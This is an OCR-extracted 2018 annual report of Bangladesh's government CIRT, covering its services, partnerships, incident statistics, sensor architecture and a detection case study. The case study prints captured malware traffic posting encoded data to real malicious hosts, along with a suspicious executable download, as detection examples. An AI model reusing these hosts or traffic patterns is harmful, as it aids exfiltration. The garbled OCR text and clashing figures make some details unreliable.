Annual Report 2018 (BGD E-GOV CIRT
Annual Report)

Compiled by
BGD e-GOV CIRT

Published on: June 2019

Published and distributed by:

BGD e-GOV CIRT under LICT Project

Bangladesh Computer Council (BCC), ICT Division,

Ministry of Posts, Telecommunication & Information Technology,
BCC Bhaban, E-14/X, Agargaon, Sher-e-Bangla Nagar, Dhaka-1207
Tel: +88-02-818-1392 | Fax: +88029124626

E-mail: info@cirt.gov.bd

BGD e-GOV CIRT Website: www.cirt.gov.bd

Page | 1


http://www.cirt.gov.bd/

Message from Minister

The Internet has become the most powerful and widely available communication medium
which spreading daily. Governments, corporations, bank, hospitals and schools conduct their
day-to-day business over the Internet. With such widespread use the data that resides on and
flows across the network varies from banking and securities transactions to medical records,

proprietary data, and personal correspondence.

While the world is moving toward an era, which requires involvement of people and technology
24x7, and almost majority of our country’s population use the Internet, a well-defined structure
and management of cyber security must be in place nationwide. The role of BGD e-GOV CIRT

under the supervision of LICT is considered to be of great importance to Cyber Security.
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Executive Summary

Bangladesh Computer Council (BCC) established BGD e-GOV CIRT in the last quarter of
2015. BGD e-GOV CIRT started providing incident handling services in February 2016. This
is the first report of BGD e-GOV CIRT that summarizes activities and results achieved during
2016. It provides an insight into what the CIRT has been seeing, learning, and responding to,
focusing on specific areas of change or new knowledge obtained. Furthermore, this document
contains mitigation and remediation advice to assist organizations in preventing and responding
to cyber threats. For a more comprehensive overview, this report should be read in conjunction

with the GoBISM (Government of Bangladesh Information Security Manual).

The main message that derives from BGD e-GOV CIRT activities during 2016 is that current
hype associated with the proliferation of threat intelligence” can be a distraction from what
really matters: the motivation to allocate effort and resources to improving cyber security
posture by implementing technical controls. If we are relying on threat intelligence to respond

to threats already discovered, it is too late for us and our organizations.

In 2019, BGD e-GOV CIRT will continue to improve its cyber security capabilities and extend
services in support of all government organizations and especially to the 25 Critical
Information Infrastructures that have been identified. It will continue coordination efforts with
industry and government partners to mitigate cyber risks through timely and effective sharing

of situational awareness information and focused mitigation plan.

A new responsibility for the team in 2019 is to assist government organizations with their risk

assessments.

Other goals for 2019 include improving and expanding BGD e-GOV CIRT incident response
technical teams and tools, which will provide greater value during incident response and
assessment activities. The team will also continue to refine and update training offerings that
will allow government organizations to better meet the demands of challenging and evolving

technical issues in cyber security.
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Mission Statement

The mission of Bangladesh e-Government Computer Incidents Response Team, BGD e-GOV

CIRT is “to support government efforts to develop and amplify ICT programs by establishing

incident management capabilities within Bangladesh, which will make these programs more

efficient and reliable.”

Major activities:

Manage cyber security in Bangladesh government’s e-Government network and related
infrastructure;

Serve as a catalyst in organizing national cybersecurity resilience initiatives (education,
workforce competence, regulation, cyber exercises) among various stakeholders;
Make efforts to establish national cyber security incident management capabilities in

Bangladesh.

To achieve this goal, BGD e-GOV CIRT during the first stage of its development will:

Monitor the network for the events that affect security of the government network;
Carry out investigations and containment measures for cyber security events in order
to minimize data loss or service disruption in the government network and e-services;
Help to solve security related issues in National Data Center (NDC) including provision
of obligatory instructions for BCC personnel to secure NDC information resources;
Carry out preventive measures in order to minimize disruptions of secure operations of
the government network and e-services;

Participate in international and national cyber security initiatives;

Promote and strengthen cyber security environment by developing, collaborating and
maintaining relationships with other CIRTs and organizations in the country and
abroad,

Support capacity building of the existing manpower of BCC to establish national CIRT.
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Constituency

Constituency of BGD e-Gov CIRT are all governmental institutions of Bangladesh.

Constituency sector is “government” and constituency type are “mixed” (internal and external).

Part of the constituency is using National Data Center (NDC) located at Bangladesh Computer

Council (BCC) where host their IT resources and services. BGD e-GOV CIRT supervises the

following Autonomous System numbers, IP address space and domain names associated with
the NDC:

AS63932
bcc.gov.bd
bcc.net.bd
43.229.12.0/22
103.48.16.0/22
114.130.54.0/23
180.211.213.0/24

The constituency range and description will be continuously checked and updated to ensure

that all ICT resources which should be protected are covered by the designed and implemented

incident management services.
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Services

There are two types of services provided by BGD e-GOV CIRT.

Proactive Services

Security assessments
BGD e-Gov CIRT is constantly doing vulnerability assessments and penetration testing
on assets located at the National Data Center as well as these activities can be provided

to the constituency on a special official request

Configuration and maintenance of security tools, applications, infrastructures, and
services

BGD e-Gov CIRT maintains described set of security tools primarily used for logs
collection and archive for assets located in the National Data Center which allow to

trace incidents when they occur.

Intrusion detection
BGD e-Gov CIRT collects cyber security threat information (compromises, accessible
vulnerabilities) from various external feeds, filters and distributes them among the

constituency.

Security consulting
BGD e-Gov CIRT provides advice and guidance on the best security practices to

implement for constituents’ business operations.

Awareness building

BGD e-Gov CIRT seeks opportunities to increase security awareness through
developing articles, posters, newsletters, web sites, social media or other informational
resources that explain security best practices and provide advice on precautions to take.
Activities may also include scheduling meetings and seminars to keep constituents up
to date with ongoing security procedures and potential threats to organizational

systems.
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e Cyber Sensor
Detecting intrusion, suspicious activity & development of methodology of assessing
maturity level of Critical Information Infrastructure in Bangladesh government IP

network, thus sensor network is being implemented.

Reactive Services
e Cyber security incident handling
BGD e-GOV CIRT will receive information regarding cyber security incidents, triage
incidents and coordinate response. Possible activities related to incident handling
include:
= Reporting
= Coordination
= Incident response support

= Incident analysis and evidence collection
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International Membership
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Improving Security Together

Forum of Incident Response and Security Teams (FIRST.Org)

FIRST is the global. FIRST is the premier organization and recognized global leader in incident
response. Membership in FIRST enables incident response teams to more effectively respond
to security incidents reactive as well as proactive.

https://www.first.org/members/teams/bgd e-gov cirt

BGD e-Gov CIRT
Team Information
Team name BGD e-Gov CIRT
Official team name Bangladesh e-Government Computer Incident Response Team
Member since May 22, 2016
Host organization Bangladesh Computer Council
Country of team Bangladesh - BD
Date of establishment 2016-01-11
Website https://www.cirt.gov.bd [%

Page | 9


https://www.first.org/members/teams/bgd_e-gov_cirt

£ APCERT

sia Pacific Computer Emergency Response Team

Asia Pacific Computer Emergency Response Team (APCERT)

APCERT cooperates with CERTs (Computer Emergency Response Teams) and CSIRTS
(Computer Security Incident Response Teams) to ensure Internet security in the Asia Pacific
region, based around genuine information sharing, trust and cooperation.

https://www.apcert.org/about/structure/members.html

Operational Members (30 Teams / 21 Economies)

Team Official Team Name Economy POC
O ACSC Australian Cyber Security Centre Australia X
o AusCERT Awustralian Computer Emergency Response Team Awustralia
9 bdCERT Bangladesh Computer Emergency Response Team Bangladesh X
EJ BGD e-GOV Bangladesh e-Government Computer Incident Response Rangladesh
CIRT Team
o BruCERT Brunei Computer Emergency Response Team Negara Brunei X

Darussalam

-
OIC-CERT

Computer Emergency Response Team

Organisation of The Islamic Cooperation — Computer Emergency Response Teams (OIC-
CERT)

The purpose of OIC-CERT is to encourage and support the smooth collaboration and
cooperation between CERTs among the OIC member countries and other CERT stakeholders
as required.

https://www.oic-cert.org/en/allmembers.html# XMFPfUIENPY

BANGLADESH

BGD e-GOV CIRT

Bangladesh e-Government Computer Incident Response Team, Bangladesh Computer Council
Bhaban, E-14/X Agargaon, Sher-e-Bangla Nagor Dhaka-1207, Bangladesh

Email: ciccert-team|at]cirt gov bd
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TF-CSIRT Trusted Introducer

The Trusted Introducer Service - a.k.a. Tl - was established by the European CERT community

in 2000 to address common needs and build a service infrastructure providing vital support for
all security and incident response teams.

https://www.trusted-introducer.org/directory/teams/bgd-e-gov-cirt.html

BGD e-GOV CIRT Accredited

Bangladesh e-Government Computer Incident Response Team since 28 Nov 2018

Fields describing the team

Team Details
Official Name Short Name Country
Bangladesh e-Government BGD e-GOV CIRT [ Bangladesh
Computer Incident Response
Team
Established Host Organisation
11 Jan 2016 Bangladesh Computer Council
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International Collaboration

ceritm

Handling Computer Secunty Incidents =

Indian Computer Emergency Response Team

The Indian Computer Emergency Response Team (CERT-In) is an office within the Ministry
of Electronics and Information Technology. It is the nodal agency to deal with cyber security
threats like hacking and phishing. BGD e-GOV CIRT is working very closely with Indian
Computer Emergency Response Team (CERT-In) and they have signed a MoU as well On
“Cooperation in the area of Cyber Security” between Bangladesh e-Government Computer
Incident Response Team (BGD e-Gov CIRT), Bangladesh Computer Council of Ministry of
Post, Telecommunication and IT and Indian Computer Emergency Response Team (CERT-
In), Ministry of Electronics and Information Technology, India on April 2017, During Prime
Minister Sheikh Hasina’s Visit to India (Link of that news). BGD e GOV CIRT is Member of
loT Security Working group, Secure Digital Payment Working Group of CERT-In as well.

Anti-Phishing Working Group (APWG)

The Anti-Phishing Working Group (APWG) is an international consortium that brings together
businesses affected by phishing attacks, security products and services companies, law
enforcement agencies, government agencies, trade association, regional international treaty

organizations and communications companies.
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N R D Norway Registers Development

Norway Registers Development (NRD)
NRD Companies are a global information technology and consulting group of companies

specialized in governance and economic digital infrastructure development.

International Council of E-Commerce Consultants (EC-Council)
EC-Council is the world’s largest cyber security technical certification body. They operate in
145 countries globally and we are the owner and developer of the world-famous Certified

Ethical Hacker (CEH), Computer Hacking Forensics Investigator (C|HFI) courses.

w ; TEAM CYMRU

Team Cymru

Team Cymru was formed in 1998 to learn the "who and why" of malicious Internet activity.
This focus on attribution resulted in the uncovering of the "what, when, where, and how" of

online malevolence.

CERT.PL

CERT Polska
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CERT Polska is Computer Emergency Response Team which operates within the structures of
Scientific and Academic Computer Network or NASK — a research institute which conducts
scientific activity, operates the national .pl domain registry and provides advanced IT network

services.

Page | 14



Collaboration with other CERTSs

Sharing knowledge from other CERT organization regarding cyber security best-practices,
information security standards and took advantage in information security, BGD e-GOV CIRT

has collaborate with various organizations in international CERT community:

Local Partners
1. Bangladesh Computer Council
2. Bangladesh Police
3. Bangladesh Bank

International Partner

1. FIRST 8. LITNET CERT

2. OIC-CERT 9. APWG

3. APCERT 10. ANUBIS NETWORKS
4. CERT-IN 11. SHADOW SERVER

5. CERT 12. CREST

6. TEAM CYMRU 13. EC COUNCIL

7. CERT.PL 14. TF-CSIRT

e Attend on “56th TF-CSIRT Meeting & FIRST Regional Symposium for Europe”.

e Attend on “2017 APISC Security Training Course”.

e Attend on “29th Annual FIRST Conference in Puerto Rico".

e Attend on “OIC-CERT Annual Conference 2017 in Baku, Azerbaijan”.

e Attend on “APCERT Annual General Meeting & Conference 2017 in New Delhi, India”.
e Attend on “55th TF-CSIRT Meeting”.

e Attend “Regional Cyberdrill for CIS” at Baku, Azerbaijan in 2018.

e Attend “Fintech Indonesia 2018” at Jakarta, Indonesia in 2018.

e Attend “Security Scape Bangalore” India in 2018.
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1. Incident Handling Unit

BGD e-GOV CIRT will receive information regarding cyber security incidents, triage incidents

and coordinate response. Possible activities related to incident handling include:

Reporting
Coordination
Incident response support

Incident analysis and evidence collection

PRESENT STATISTICS OF BGD e-GOV CIRT

Incident Handling and Coordination:

From January 2018 to May 2019 total number of Registered Incident Handling &
Coordination tickets are 1006.
From February 2016 to May 2019 total number of Registered Incident Handling &

Coordination tickets are 2066.

® Januray 2018
- May 2019,

1006
.

|
February
2016 - May
2019, 2066
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Incident response to Govt. Organizations
e From January 2018 to May 2019 total 82 Incident responses have been provided to
Bangladesh Government organizations.
e From February 2016 to May 2019 total 210 Incident responses have been provided to

Bangladesh Government organizations.

® Januray 2018
- May 2019,
82

February
2016 - May
2019, 215

Security Advisories & News:
e From January 2018 to May 2019 Total number of published Security Advisories,
Alerts & News on CIRT web media are 314.
e From February 2016 to May 2019 Total number of published Security Advisories,
Alerts & News on CIRT web media are 840.

® Januray 2018

- May 2019,
314

~

® February 2016
- May 2019,
840
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Overall Statistical view

Security Advisories, News 314

Govt. Organization 82
215
Total Incident & Coordination 1006
2066

0 500 1000 1500 2000 2500

840

M Januray 2018 - May 2019 B February 2016 - May 2019

Incidents per year

1000
800
600
400
200 377
. 136
2016 2017 2018 2019
M Registered Incidents
Incidents Classification
7%
0 = Vulnerability
/ 3% = Malicious Code
// = Intrusions
<\ 6% = Fraud

\ ® Other
\ 4% = Abuse Content

= Information Gathering
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Activities

EVENTS ORGANIZED BY THE ORGANIZATION

BGD e-GOV CIRT’s First Anniversary Conference
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International Cyber Security Conference 2018

CONFERENCE ON

YBER SECURITY

NTERKATIONAL CYBERSECURITY,
CONFERENCE 2018

CONFERENCE ON

CYBER SECURITY

INCIDEMT RESPONSE TEAM (CSIRT/SOC)
FOR FINANCIAL SECTOR ORGANIZATIONS
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Applicability of International Law on State Behavior in Cyberspace Course', from 20-
24 May 2019, at George C. Marshal European Center for Security Studies, Program on

Cyber Security Studies, The College of International and Security Studies, Garmisch-
Partenkirchen, Germany.

% ® = " T ——
N George C. Marshall European Center for Sec’urity Studies ’
a Program on Cyber Security Studies PCSS
" Applicability of International Law to State Behavior in Cyberspace
LAlMISCH - Fartenkircnen, Germany 2Zu - 24§ | y 2015 -

o

Aop A
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PARTICIPATION ON INTERNATIONAL CYBER DRILL

OIC-CERT Cybersecurity Drill 2018

BGD e-GOV CIRT team has participated in the OIC-CERT Drill 2018. The team has
successfully completed all the activities regarding the event and scored 75% with a very
competitive response time.

https://www.cirt.gov.bd/bgd-e-gov-cirt-has-successfully-participated-on-oic-cert-

cybersecurity-drill-2018-with-75-score/

= Q@ oot e
100. 100. 100. 100. 100. 100.
100. 100. 90. 75. 75. 50.
Sudan CERT wnCERT Bangladesh CERT
50. 45, 0.
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APCERT Cyber Drill 2018
BGD e-GOV CIRT has successfully participated in the APCERT Drill 2018 and completed all
the activities regarding the event.
- https://www.cirt.gov.bd/bgd-e-gov-cirt-has-successfully-participated-on-apcert-cyber-
drill-2018/
- https://www.apcert.org/documents/pdf/APCERTDrill2018PressRelease.pdf

APCERT-TLP:WHITE

APCERT Secretariat: JPCERT/CC
Japan Comp Team C ination Center
Contact: apcert-sec@apcert.org
Asia Pacific C Emergency Response Team

URL: www.apcert.org

MEDIA RELEASE

7 March 2018
FOR IMMEDIATE RELEASE

APCERT CYBER DRILL 2018
“DATA BREACH VIA MALWARE ON I0T”

The Asia Pacific Computer Emergency Response Team (APCERT) today has successfully completed its annual
drill to test the response capability of leading Computer Security Incident Response Teams (CSIRT) within the
Asia Pacific economies. For the fifth time, APCERT involved the participation of members from the Organisation
of the Islamic Cooperation — Computer Emergency Response Team (OIC-CERT) in this annual drill.

The theme of this year's APCERT Dirill is “Data Breach via Malware on loT". This exercise reflects real incidents
and issues that exist on the Internet. The scenario, for this year, simulated an attack on the medical sector
where the initial compromised was followed with exfiltration of data and infection of loT devices within the
medical sector.

Throughout the exercise, the participating teams activated and tested their incident handling arrangements. This
drill included the need for the teams to interact locally and internationally, with CSIRTs/CERTs and targeted
organisations, for coordinated suspension of malicious infrastructure, analysis of malicious code, as well as
notification and assistance to affected entities. This incident response exercise, which was coordinated across
many economies, reflects the collaboration amongst the economies in mitigating cyber threats and validates the
enhanced communication protocols, technical capabiliies and quality of incident responses that APCERT
fosters in assuring Internet security and safety.

27 CSIRT teams from 20 economies of APCERT (Australia, Bangladesh, Brunei Darussalam, People's Republic
of China, Chinese Taipei, Hong Kong, India, Indonesia, Japan, Korea, Lao People's Democratic Republic,
Macao, Malaysia, Mongolia, Myanmar, New Zealand, Singapore, Sri Lanka, Thailand and Vietnam) participated
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CYBER THREAT INTELLIGENCE DASHBOARD

Application was developed and deployed for automated Cyber Threat Intelligence feed
aggregation and distributions to the constituents of BGD e-GOV CIRT. The application makes
these automated steps:

1. Collects contact information from CIDB system,

2. Collects IP address space information from CIDB system,

3. Collects feed event information from IntelMQ repository,

4. Sends aggregated threat intelligence information to the constituent’s contacts once per

day. For message delivery, RTIR system is being used to track all possible further

communications.
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CYBER THREAT INFORMATION

WordPress plugin was created to retrieve information from IntelMQ aggregated database to
show it to the portal visitors about cyber threats related to their computer IP address.

The webpage is available through the address https://www.cirt.gov.bd/cyber-threat-

information/
£ info@cirt.gov.bd t, +88028181383 ext. N7 o @
Q BGD e-GOV CIRT T
# HOME @ ARTICLES REPORT INCIDENT ¢ PARTNERS B uniTs iE ABOUT
NOTICE B GALLERY

Cyber Threat Information

This page contains security threat information we have received regarding your IP address

YOUR IP ADDRESS: 123.108.246.135

Time

2019-04-15 16:50:12+06

2019-04-15 16:34:54+06

2019-04-14 16:50:44+06

2019-04-1416:35:16+06

Source Information

1P: 123.108.246.135
Country:BD
City: Dhaka

1P: 123.108.246.135
Country:BD
City: Dhaka

IP: 123.108.246.135
Country:BD
City: Dhaka

1P: 123.108.246.135
Country:BD
City: Dhaka

Application

Event classification/type ...

Identifier: blacklisted-ip
Taxonomy: other
Type: blacklist

Identifier: blacklisted-ip
Taxonomy: other
Type: blacklist

Identifier: blacklisted-ip
Taxonomy: other
Type: blacklist

Identifier: blacklisted-ip
Taxonomy: other
Type: blacklist

Event information

Extra information:

« source: dnsbl-3.uceprot
ect.net

» reason: not-specified

» sector: Communication
s

Extra information:

« source: dnsbl-2.uceprot
ect.net

= reason: not-specified

¢ sector: Communication

Extra information:

« source: dnsbl-3.uceprot
ect.net

« reason: not-specified

¢ sector. Communication
=

Extra information:

« source: dnsbl-2.uceprot
ect.net

« reason: not-specified

« sector: Communication
s
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2. Cyber Sensor Unit

Cyber Sensor Introduction

Detecting intrusion, suspicious activity & development of methodology of assessing maturity
level of Critical Information Infrastructure in Bangladesh government IP network, thus sensor

network is being implemented.

The major benefit for deploying cyber sensor is “Identify Cyber security threats” inside the
organization (where the cyber sensor is placed), for example monitor the IP network activity,
finding unwanted traffic in network, suspicious/malware related executables downloads into
the network. Cyber sensor also provides fast indexing and graphical review platform to index

all events for deeper analysis.

After deployment of cyber sensor, organization have better network visibility for network for
detecting cyber threats and intrusion traffic: cyber security analyst, cyber security manager or
CISO of the organization can take better cyber security defense strategy.

Total 15 unit of Cyber sensors had installed into 11 selected organizations.

The detail description is as below:

Deploying Cyber Sensors for national critical information infrastructure networks (CII) is
important and mandatory element of ensuring National Cybersecurity Resilience. It stems from
understanding, that what you cannot see, you cannot protect from.

Cyber Sensors should be utilized by integrated methodologies of technical architectures and
processes. The success criteria of properly developed cyber sensors are in the following
increasing maturity indicators of success:

1. Cyber Sensors technology is successfully deployed;

2. Threat intelligence and detection of attacks and vulnerabilities are analyzed, and CIRT
collects Intelligence, processes, and shares back to CIl organizations to improve their
posture;

3. Incident detection and handling assistance to Cll organizations;

4. Threat intelligence research unit.
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The CIRT Sensors established by implementing the following items of the sensors:
e Item-1: Cyber Sensors Management Module (CSMM)
e Item-2: Cyber Sensors Network Module (CSNM)
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Detailed Functional and Technical Architecture

Technology overview

This section defines the reference architecture for implementation of Cyber Sensors into the
Critical Information Infrastructure for Cyber Security. It provides technical architectural views
for main capabilities of proposed solution and fulfils the scope and requirements specified in
the technical proposal. Also it names the most important technologies used in proposed design
and explains for what intent whey are used. Some components may already exist in client
environment, so they may be changed in favor to utilize current clients’ environment and make

administration easier.

The core components of proposed Architecture design are:

1. Virtual Private Network (VPN);

2. Cyber Sensors Infrastructure and Services. These infrastructure component and
services are covered underneath of proposed design:
2.1. Network Time Synchronization services (NTP);
2.2. Domain Name Services (DNS) and Active Directory Services (AD);
2.3. Distributed implementation of Network Security Monitoring (NSM) using server-

sensor model architecture;

2.4. Virtualization platform;
2.5. Integration of Threat Intelligence Services;

2.6. Monitoring Services;

# #
“ Hub1 CSMM Hub2 “

Public IP

Internet

Intemet// " DMVPN Intemet \ DMVPN
ISP1—~ \ " Cloud1 1SP2— ~_Cloud?
= \\ = N\
- \ e
) \
Puhlicle

Spoke 1 Spoke 2 Spoke 3 Spoke n
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Sensors Placement Strategy

Installation and commissioning of Cyber Sensors into the Critical
Information Infrastructure (X Organization) for Cyber Security

CSMM: Cyber Sensor
Management Module

CSNM: Cyber Sensor

CS M M Network Module

CSMM CSMM
Router 01\ \a¥) Router 02
Public IP X Public IP Y

CSMM
PN nne
X Org. (i @ CSNM Router
Internet Router & W CISCO 4321
1ITH j- CSNM Server
Dell R730xd
Note:
Al cD In Smart NA Tap we have Two Module
CSNM-TAP for tapping Active & Backup link
Smart NA

i
X Org. Firewall / IPS / Switch iif'f'j]/-iil

X Org. Network
&
Cloud

X Organization
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Network module contains physical rack with sensing capabilities VPN and data tapping
devices:

Cyber sensor operational Dashboard:
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Threat Detection Case Study

Threat Detection in BGD e-GOV CIRT sensor Dashboard:

For detecting cyber threat, malware infection, intrusion attempt presently we perform following
task:
a. Suspicious HTTP POST Detection from Sensor “HTTP” Section.
b. Suspicious Executable detection in network communication.
c. Suspicious Command Injection detection in overall sensor dashboard available
information
d. Infected Host detection

e. Brute-force attack detection

Based on various suspicious communication event, we try to match the information (Specially
based on IP address) we will check the IP reputation from various well-known cyber security,

malware analysis community information. Each step is listed as below:
a. Suspicious HTTP POST Detection from Sensor “HTTP” Section.

Step 1: For suspicious HTTP POST detection we need to check the HTTP section. After visit
the HTTP section of the dashboard we usually select HTTP Method as POST:

Dashboard / Bro - HTTP Full screen Share Clone Edit C Auto-refresh € @ Lag

methad keyword: "POST"  status message keyword: "0K"

T

325,127
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After select the POST method, then we usually investigation manually for detect any suspicious
HTTP POST activity, if we detect any suspicious HTTP POST activity, then we need to check

the CapME information for further checking as like below:

T
SRC: Accept-Language: en-us

SRC: Content-Type: apobcation/octet-stnesm
SRC: Content-Length: 1638

- Moillaj4, 0 {compatible; MSIE 6.0; Windows NT 5.1; Sv1)

SR User-Ag

SRC: Conmection: Keep-Alve
SRC: Cache-Control: no-cache
SRC:

SEC:
FRC: CFkoBdALIOhMe0Gc 2 FrTBo0l BGARNUbTHLIYGmUC hPvdl EkSyliChPvedGrN Sal pi iGNt T oW Gy TORDHFIT 2V D XCcH mIp W Sal prrititabo Se As Oy Gari Fu
IV IXFRHmLIE WIYSmIOWI Y dalokgMs2 BhagLsNuP S B T g InFredsCuQBdA T CuPwd SENEPvCheMEChc BafFIMZY 1iFHmLU L WY Gm] pC il ci e Bbb ol shiub B PR TBg
[ Pzl WESeGen L p W vl DV o)L 3 25b Pd ettt B Dn e U ERGmUWY Sl Lok b T 6bEAL SN Pwd O BhOn R TIVDFKHMU WY SmipKrMaatcBeMs I obadAsNuMw R Bh
PR TV LIFkH M 1W 3 Sal pirkiaboBaAsluOwSARCHE IRy TIWZIFIHo) X3 7 5kpLiNa T coe B O S A ERSy LW Gl ok 4 T6 kol shub T afBRPvRx TBgDHFRS LI WikGenlnk Ydab)
Ot B AT Py Ry TBRDFITEV LR mIpLIY 5a 7 ek MIOBeSAgOu v Sy ChE Gy TOV Ao G Sh7pL AN DeBeOv S sl ERGyUDW Gl X AZ6 L8 LaNUPTAIBhPRETE
DA FiHA WY Gl plr Y datic Ry TODSFHW IX37Hen JpLr Y SalWESGI oV 47 GadgLsNSbTd0iHeaZ IEkSy LN 2jGI LoV 24260 JoL s ShT dof NPl

ACIEwS UOWEGH oM 242 60)aL sN5bT

-B-gl)uﬁé\zuLMH}nIDWHﬁMM:DﬁbSdﬁanPWMMJFKTﬂIMDWNSJ
SaTcdeMtOndhe PR Bg DiF xS LI WE

7 pKMEDAC BeAgOLlwS:
HGmITW2YdaloKgMsZ

b TIBALTB DS IWKGMIpKIY 40bcKgMsOubBAATCUPWRY TERDIFITZVLX 3kHmdp
bRC: LIVSaTeK MOve ESGITOVEX4IHO )L 3T SbTeLrN

PET: HTTP1.1 200 OK

W FCHERGy TIMEXFIHO T ST pLrWPT coeBOvhS s CIEkGyINSmlpLs
Bb8dAsNUPWRIFBhDRxeBgDFSTL

IWEKGMIpWZ Y 4aGokigMsOGhid o

EGmLUOW2Y 4l okigM4aZ EEBdL shuPwdHBhDnRx T A THFHmMU LW v Sml phirbiabe el

BehgCuQnSyLICh
iR E v Ry TONTHFIHGV 1032 Smpr HSaT el ECvposAgrCiE: 1GlIOV2XAZEIGLSNSE PO Re BN (S dU W EKGMI pW2Y a6 oK MsOBbEAMUPWRYTBhDIFX T2V 1K
KHmIp WY Sa oK Mt Beds DuQwSARChEJRy TOV2FIH0) OZSh pLrt ERS LW 2 G R XATBEIgLsNUb TSRS EL TBODIFkS U IW kG EpKE YabcKgMsOub
hadaFoupTar

DST: Date: Mon, 15 Oct 2008 09:54:10 GMT

DST: Server: Apache/2,4.6 (Cenb05) OpenSSLI 1,002k figs
DST: Last-Modified: Mon, 30 Mow 2015 13:48:40 GMT
DST: ETag: "9-525C240 7256007

D5T: Accegh-Ranges: byfes

DST: Contert-Length: &

DST: Kaep-Alive: Gnedit=3, max=100

D5T: Connection: Keep-Alrve

DST: Contert-Type: text/heml; charset=UTF-8

Step 2: The above CapME information shows the success indication of POST, then we check

the URL along with POSTED parameter in well-known community, for example

virustotal.com (for check the suspicious domain name reputation), then we found, for example:

The related destination domain is listed virustotal.com as malware host.

(&) ¢ ®©

Z Search or scan a URL, IP address, domain, or file hash

5 engines detected this URL
URL http://anteph.org/
/ Host anteph.org [4
5/70

Last analysis 2018-10-11 04:57:02 UTC

Detection Details Community
Blueliv A Malicious CRDF
Forcepoint ThreatSeeker A Malicious Fortinet
Sophos AV A Malicious Spamhaus

® & https://www.virustotal.com/#/url/8aacef3cae39a40dcf3193d67438d105a3904278ca3093ce8b5da6093ef94526/detection

Downloaded file ~ 56e6968a127729565d6170d784e60bb5c62a392167a7db3b5493fdfe433fd4fc [4

A Malicious
A Malware
o Spam
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As per community information, the infected computer system will POST various information
to external malware hosting IP and the infected computer system tried to modifies functionality
in the registry & spawned lot of process and it also try to write shellcode in infected hosts, there
is also high possibility the infected system accepts un-authentication incoming connection from
external hosts for example:

w hybrid-analysis.com/sampl af75404dfS0fBE : 7da fO0f6:29-

= Submissions + M Resources » [ FJobs  EiContact
Attention: this analysis ran with the legacy Usermode Monitor. It is highly recommended to use the Kemelmode Monitor.

A Report Abuse
Incident Response

@ Risk Assessment

Remote Access | Contains ability to listen for incoming connections

Spyware/Leak |POSTs files to a webserver
Persistence | Modifies auto-execute functionality by setting/creating a value in the registry

Spawns a lot of processes

Fingerprint

Network Behavior

Contains ability to lookup the windows account name
Reads the cryptographic machine GUID

Contacts 342 demains and 1126 hosts. View the network section for more details.

https://www.hybrid-analysis.com/sample/28af75404df50861dd52c26ed8287da91acf00f62949bbeSfaaf94f2886df92?environmentld =1

=Submissions ~ MMResources ~  [@EFJobs X Contact

Q

HTTP Traffic

he-Control: no-cache @

157.7107.45:80 (aoinko.net) POST ! POST / HTTP/1.1 Accept: */* Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 27

6 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: acinko.net Connection: Keep-Alive
Cache-Control: no-cache Readable: KasARizGXp6NexEUkI9Tm5NgIIYq6 MdwDUI4LcuBSk2Kas9QhOHYs9Sj3Kbt
AR{OIdvCTjILilIYgAS]2NewCSI2KbtBS|INfwDTI3KasARizGXq7 PgyEUI3KfyHatASm4NewDUp6 OfxDVm6NewDUL
3KbuBS;j2Jas?Qh0GYp8QhzHX6NewDUo5LevCTk2NfyGYp7OhtIZs9Qhljas?QhzlbtAR]2)buDXq9QillasAQhzGXp
6NewCUl4LcvDUmALewDUs8QhzHZsARK3Jas8 Raw hex: 4B61734152697A475870364E65784555 6B6C39546
D354E6731495971364D6477 44556C344C637542536B324B61733951 683048597339536A334B627441526...

155.254.16.28:80 (anteph.org) POST ! POST / HTTP/1.1 Accept: */* Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 34

5 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: anteph.org Connection: Keep-Alive
Cache-Control: no-cache Readable: k2LjfwBQizFVUIIGVIIHYo3HVjzDRfu8Mcu9 QgwBPdr7Hics 6Pj3KadvARIOESgw
AcuBSh1JarCEUk21Y7Maq5/X10 DTixBQfu9Ocr5)Zt90cré PiwBQhwCRf3VkzETkzEVKBOfVvBRIOHWKOFUp5Nbr5)b
s7Mbs6Lar5KYmIGUixBSgwBQewKat9PfxCQet9Nbr5LhKas9QfvAPfv9Odt7Maq5Lap3McsB8OevBRfVBQXo4IWI9
‘OeuAR3HW]OETixCRgwBOdt8Oct8Lat9QgvAQfvAOdUAPds5IXIOF Ujzlbt8 OewDUkzDRgwCRizE UkzETKOETjyCP
IOEShxCRhzEUI2HV Raw hex: 6B324C6A66774251697A46566C314756 6C3148596F3348566A7TA44526675384
D 63753951677742506472374D63733650 6A334B61647641526930455367774...

79.172.24135:80 (iranytu.net) POST ! POST / HTTP/1.1 Accept: */* Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 38

8 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1, SV1) Host: iranytu.net Connection: Keep-Alive v

Step 3.
Form the community information & sandbox analysis information, this is clearly indicating
this HTTP POST communication is a MALWARE communication.
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b. Suspicious Executable detection in network communication.
From the sensor communication event, we detect some executables ware downloaded into
internal organization computer system. The executable name is not seeming a valid executable.

For example:

M A LNNELUNG = ZUC. 71, 197. 7 1,00 (MK, OFRJ, 11, [TeeS VWA

SRC: GET /l0v3e.exe

SRC: ACCEPT: */*
SRC: ACCEPT-ENCODING: gzip, deflate

SRC: USER-AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .N
29

SRC: HOST: ksa.fm

SRC: CONNECTION: Keep-Alive

SRC: COOKIE: vsid=905vr2870353152114958 [}

DST: 200 OK

DST: DATE: Tue, 16 Oct 2018 04:03:40 GMT

DST: SERVER: Apache

DST: NTCOENT-LENGTH: 272

DST: KEEP-ALIVE: timeout=5, max=32

DST: CONNECTION: Keep-Alive

DST: CONTENT-TYPE: text/html; charset=UTF-8

DST: CACHE-CONTROL: private

DST: CONTENT-ENCODING: gzip

DST: CONTENT-LENGTH: 196

DST: <html>\x0d\x0a<head>'\x0d\x0a<meta name="robots" content="noarchive" />\x0d\x0a<meta name="googlebot" content="nosnippet" />\x0d\x0a</hea
dy>\x0d\x0a<div align=center>\x0d\x0a<h3>Error. Page cannot be displayed. Please contact your service provider for more details. (16)</h3>\x0d\x0a</div>
=\x0d\x0Da </html>

From this commination we detect following information:

